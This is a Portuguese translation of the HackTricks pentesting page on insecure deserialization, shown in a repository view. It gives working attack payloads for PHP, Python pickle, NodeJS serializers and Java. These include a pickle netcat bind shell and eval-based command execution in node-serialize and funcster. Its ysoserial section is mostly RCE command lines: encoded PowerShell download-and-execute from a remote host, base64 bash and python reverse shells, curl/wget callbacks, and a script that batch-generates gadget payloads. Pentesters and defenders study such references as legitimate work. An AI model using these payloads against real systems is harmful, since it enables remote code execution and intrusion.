hacktricks/pentesting-web/deserialization/README.md

835 lines
50 KiB
Markdown
Raw Normal View History

# Deserialização
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Serialização** é o processo de transformar algum objeto em um formato de dados que pode ser restaurado posteriormente. As pessoas frequentemente serializam objetos para salvá-los em armazenamento ou para enviar como parte de comunicações.
**Deserialização** é o inverso desse processo, pegando dados estruturados de algum formato e reconstruindo-os em um objeto. Hoje, o formato de dados mais popular para serialização é o JSON. Antes disso, era o XML.
Em muitas ocasiões, você pode encontrar algum código no lado do servidor que desserializa algum objeto fornecido pelo usuário.\
Neste caso, você pode enviar uma carga maliciosa para fazer o lado do servidor se comportar de maneira inesperada.
2023-06-06 18:56:34 +00:00
**Você deve ler:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender como atacar.**
2022-05-16 08:29:00 +00:00
## PHP
2023-06-06 18:56:34 +00:00
Método mágico usado com serialização:
* `__sleep` é chamado quando um objeto é serializado e deve retornar um array
Método mágico usado com deserialização
2023-06-06 18:56:34 +00:00
* `__wakeup` é chamado quando um objeto é desserializado.
* `__unserialize` é chamado em vez de `__wakeup` se existir.
* `__destruct` é chamado quando o script PHP termina e o objeto é destruído.
* `__toString` usa o objeto como string, mas também pode ser usado para ler arquivos ou mais do que isso com base na chamada de função dentro dele.
```php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
2023-03-20 09:22:01 +00:00
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
2023-03-20 09:22:01 +00:00
php > $ser=serialize($o);
__sleep method called
2023-03-20 09:22:01 +00:00
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
2023-03-20 09:22:01 +00:00
php > $unser=unserialize($ser);
2023-03-20 09:22:01 +00:00
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
```
Se você observar os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é deserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não acontece mais**.
2023-03-20 09:22:01 +00:00
{% hint style="warning" %}
O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se ele for implementado na classe. Ele permite que você deserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para deserializar propriedades e realizar quaisquer tarefas necessárias após a deserialização.
2023-03-20 09:22:01 +00:00
```php
phpCopy codeclass MyClass {
private $property;
2023-03-20 09:22:01 +00:00
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
2023-03-20 09:22:01 +00:00
}
```
{% endhint %}
Você pode ler um **exemplo PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Classes Autoload
2023-03-23 15:12:27 +00:00
2023-06-06 18:56:34 +00:00
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
2023-03-23 15:12:27 +00:00
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Serializando Valores Referenciados
2021-10-20 23:25:53 +00:00
Se por algum motivo você quiser serializar um valor como uma **referência a outro valor serializado**, você pode:
2021-10-20 23:25:53 +00:00
```php
<?php
class AClass {
public $param1;
public $param2;
2021-10-20 23:25:53 +00:00
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
2023-06-06 18:56:34 +00:00
### PHPGGC (ysoserial para PHP)
2021-10-20 23:25:53 +00:00
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações PHP.\
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas você pode ser capaz de **abusar do código de extensões PHP externas.**\
Então, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) algum possível gadget que você poderia abusar.
2021-04-17 14:24:36 +00:00
### phar:// deserialização de metadados
2021-03-19 23:11:18 +00:00
Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
2023-06-06 18:56:34 +00:00
Para mais informações, leia o seguinte post:
2021-03-19 23:11:18 +00:00
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
{% endcontent-ref %}
2021-03-19 23:11:18 +00:00
2022-05-16 08:29:00 +00:00
## Python
2022-05-16 08:29:00 +00:00
### **Pickle**
2023-06-06 18:56:34 +00:00
Quando o objeto é desempacotado, a função _\_\_reduce\_\__ será executada.\
Quando explorado, o servidor pode retornar um erro.
```python
2020-12-23 13:18:18 +00:00
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
2020-12-23 13:18:18 +00:00
print(base64.b64encode(pickle.dumps(P())))
```
Para mais informações sobre como escapar de **pickle jails**, confira:
2021-02-05 00:36:31 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-02-05 00:36:31 +00:00
2022-05-16 08:29:00 +00:00
### Yaml **&** jsonpickle
A página a seguir apresenta a técnica para **abusar de uma desserialização insegura em bibliotecas yaml** do python e termina com uma ferramenta que pode ser usada para gerar um payload de desserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
{% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %}
### Class Pollution (Poluição de Classe em Python)
2023-01-06 00:33:59 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
{% endcontent-ref %}
2022-05-16 08:29:00 +00:00
## NodeJS
2023-06-06 18:56:34 +00:00
### Funções Mágicas JS
2022-08-10 23:00:19 +00:00
JS **não possui funções "mágicas"** como PHP ou Python que são executadas apenas por criar um objeto. Mas possui algumas **funções** que são **frequentemente usadas mesmo sem chamá-las diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipo), você poderia executar código arbitrário quando elas são chamadas.
2022-08-10 23:00:19 +00:00
Outra **forma "mágica" de chamar uma função** sem chamá-la diretamente é **comprometendo um objeto que é retornado por uma função assíncrona** (promise). Porque, se você **transformar** esse **objeto de retorno** em outra **promise** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas por ser retornada por outra promise. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
2022-08-10 23:00:19 +00:00
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
2022-08-10 23:00:19 +00:00
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
2022-08-10 23:00:19 +00:00
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```
2023-06-06 18:56:34 +00:00
### Poluição de `__proto__` e `prototype`
2022-08-10 23:00:19 +00:00
Se você quer aprender sobre essa técnica **veja o seguinte tutorial**:
2020-11-26 13:46:19 +00:00
2021-10-22 10:16:40 +00:00
{% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
{% endcontent-ref %}
2020-11-26 13:46:19 +00:00
2022-05-16 08:29:00 +00:00
### [node-serialize](https://www.npmjs.com/package/node-serialize)
Esta biblioteca permite serializar funções. Exemplo:
```javascript
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
```
O **objeto serializado** terá a seguinte aparência:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Você pode ver no exemplo que quando uma função é serializada, a flag `_$$ND_FUNC$$_` é anexada ao objeto serializado.
Dentro do arquivo `node-serialize/lib/serialize.js` você pode encontrar a mesma flag e como o código está usando-a.
![](<../../.gitbook/assets/image (297).png>)
![](<../../.gitbook/assets/image (298).png>)
2023-06-06 18:56:34 +00:00
Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código estivesse **chamando `y.rce`** no nosso exemplo e isso é altamente **improvável**.\
De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para autoexecutar a função serializada quando o objeto for desserializado.\
No próximo trecho de código **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
```javascript
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```
Como indicado anteriormente, esta biblioteca irá obter o código após `_$$ND_FUNC$$_` e irá **executá-lo** usando `eval`. Portanto, para **executar código automaticamente**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um JS oneliner** como no exemplo a seguir:
```javascript
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
```
Você pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
2022-05-16 08:29:00 +00:00
### [funcster](https://www.npmjs.com/package/funcster)
A diferença interessante aqui é que os **objetos padrão integrados não estão acessíveis**, porque estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar métodos dos objetos integrados. Então, se usarmos `console.log()` ou `require(algo)`, o Node retorna uma exceção como `"ReferenceError: console is not defined"`.
2023-06-06 18:56:34 +00:00
No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
```javascript
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
```
**Para**[ **mais informações, leia esta página**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
2022-05-16 08:29:00 +00:00
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
O pacote **não inclui nenhuma funcionalidade de deserialização** e exige que você a implemente por conta própria. O exemplo deles usa `eval` diretamente. Este é o exemplo oficial de deserialização:
```javascript
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
```
Se essa função for usada para desserializar objetos, você pode **explorá-la facilmente**:
```javascript
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
2023-06-06 18:56:34 +00:00
### Biblioteca Cryo
Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
2020-11-26 13:58:00 +00:00
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
2022-05-16 08:29:00 +00:00
## Java - HTTP
O principal problema com objetos deserializados em Java é que **callbacks de deserialização eram invocados durante a deserialização**. Isso possibilita que um **atacante** **aproveite esses callbacks** e prepare um payload que abusa dos callbacks para **realizar ações maliciosas**.
### Impressões Digitais
#### Caixa Branca
Procure no código por classes e funções de serialização. Por exemplo, busque por classes que implementam `Serializable`, o uso de `java.io.ObjectInputStream` \_\_ ou funções `readObject` \_\_ ou `readUnshare`\_.
Você também deve ficar atento a:
2023-06-06 18:56:34 +00:00
* `XMLdecoder` com parâmetros definidos pelo usuário externo
* `XStream` com método `fromXML` (versão xstream <= v1.46 é vulnerável ao problema de serialização)
2023-06-06 18:56:34 +00:00
* `ObjectInputStream` com `readObject`
* Usos de `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`
* `ObjectInputStream.readUnshared`
* `Serializable`
#### Caixa Preta
**Impressões Digitais/Bytes Mágicos** de objetos **java serializados** (de `ObjectInputStream`):
* `AC ED 00 05` em Hex
2023-06-06 18:56:34 +00:00
* `rO0` em Base64
* Cabeçalho `Content-type` de uma resposta HTTP definido como `application/x-java-serialized-object`
* `1F 8B 08 00` Hex previamente comprimido
2023-06-06 18:56:34 +00:00
* `H4sIA` Base64 previamente comprimido
* Arquivos web com extensão `.faces` e parâmetro `faces.ViewState`. Se você encontrar isso em um webapp, dê uma olhada no [**post sobre Deserialização Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
2023-06-06 18:56:34 +00:00
### Verificar se é vulnerável
Se você quer **aprender como um exploit de Deserialização Java funciona** você deve dar uma olhada em [**Deserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
2023-06-06 18:56:34 +00:00
#### Teste de Caixa Branca
2023-06-06 18:56:34 +00:00
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Você também pode usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
Ao executar **gadgetinspector** (após construí-lo), não se preocupe com as toneladas de avisos/erros pelos quais ele passa e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-min.txt_. Por favor, note que **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
2023-06-06 18:56:34 +00:00
#### Teste de Caixa Preta
Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até as versões). Com essa informação, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
[**Leia isto para saber mais sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe foca em deserializações de \*\* `ObjectInputStream` \*\*.\*\*
Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
[**Leia isto para saber mais sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner foca em deserializações de **`ObjectInputStream`**.
Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não só a \*\*`ObjectInputStream`\*\*, mas **também** de bibliotecas de deserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
[**Você pode encontrar mais informações sobre Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Teste de Serialização**
Nem tudo é sobre verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez conceder privilégios de administrador dentro de um webapp).\
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado**. Sabendo quais dados você está enviando, seria mais fácil modificá-los e contornar algumas verificações.
2023-06-06 18:56:34 +00:00
### **Exploração**
2022-05-16 08:29:00 +00:00
#### **ysoserial**
A ferramenta mais conhecida para explorar deserializações Java é [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
Note que esta ferramenta é **focada** em explorar **`ObjectInputStream`**.\
Eu começaria **usando o payload "URLDNS"** **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
2022-05-01 12:41:36 +00:00
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
2022-05-01 12:41:36 +00:00
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
2022-05-01 12:41:36 +00:00
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
2022-05-01 12:41:36 +00:00
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
2022-05-01 12:41:36 +00:00
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
2022-05-01 12:41:36 +00:00
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
2022-05-01 12:41:36 +00:00
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
2022-05-01 12:41:36 +00:00
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
2022-05-01 12:41:36 +00:00
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
2022-05-01 12:41:36 +00:00
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
2022-05-01 12:41:36 +00:00
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
2022-05-01 12:41:36 +00:00
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
```
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você poderia [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e depois testá-los na página web vulnerável:
```python
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
2022-05-16 08:29:00 +00:00
#### serialkillerbypassgadgets
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta nos **slides da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
2022-05-16 08:29:00 +00:00
#### marshalsec
[**marshalsec**](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização **Json** e **Yml** em Java.\
Para compilar o projeto, precisei **adicionar** estas **dependências** ao `pom.xml`:
```markup
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
```
**Instale o maven** e **compile** o projeto:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
```
2022-05-16 08:29:00 +00:00
#### FastJSON
2020-07-29 09:22:22 +00:00
Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
2020-07-29 09:22:22 +00:00
2023-06-06 18:56:34 +00:00
### Laboratórios
* Se você quiser testar alguns payloads ysoserial, você pode **executar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
2023-06-06 18:56:34 +00:00
### Por que
Java ADORA enviar objetos serializados para todos os lados. Por exemplo:
* Em **requisições HTTP** Parâmetros, ViewState, Cookies, você escolhe.
* **RMI** O protocolo Java RMI amplamente utilizado é 100% baseado em serialização
* **RMI sobre HTTP** Muitas aplicações web thick client Java usam isso novamente 100% objetos serializados
* **JMX** Novamente, depende de objetos serializados sendo enviados pela rede
* **Protocolos Personalizados** Enviar e receber objetos Java brutos é a norma o que veremos em alguns dos exploits a seguir
2023-06-06 18:56:34 +00:00
### Prevenção
#### Objetos transientes
Uma classe que implementa `Serializable` pode declarar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```
2023-06-06 18:56:34 +00:00
#### Evite a Serialização de uma classe que precisa implementar Serializable
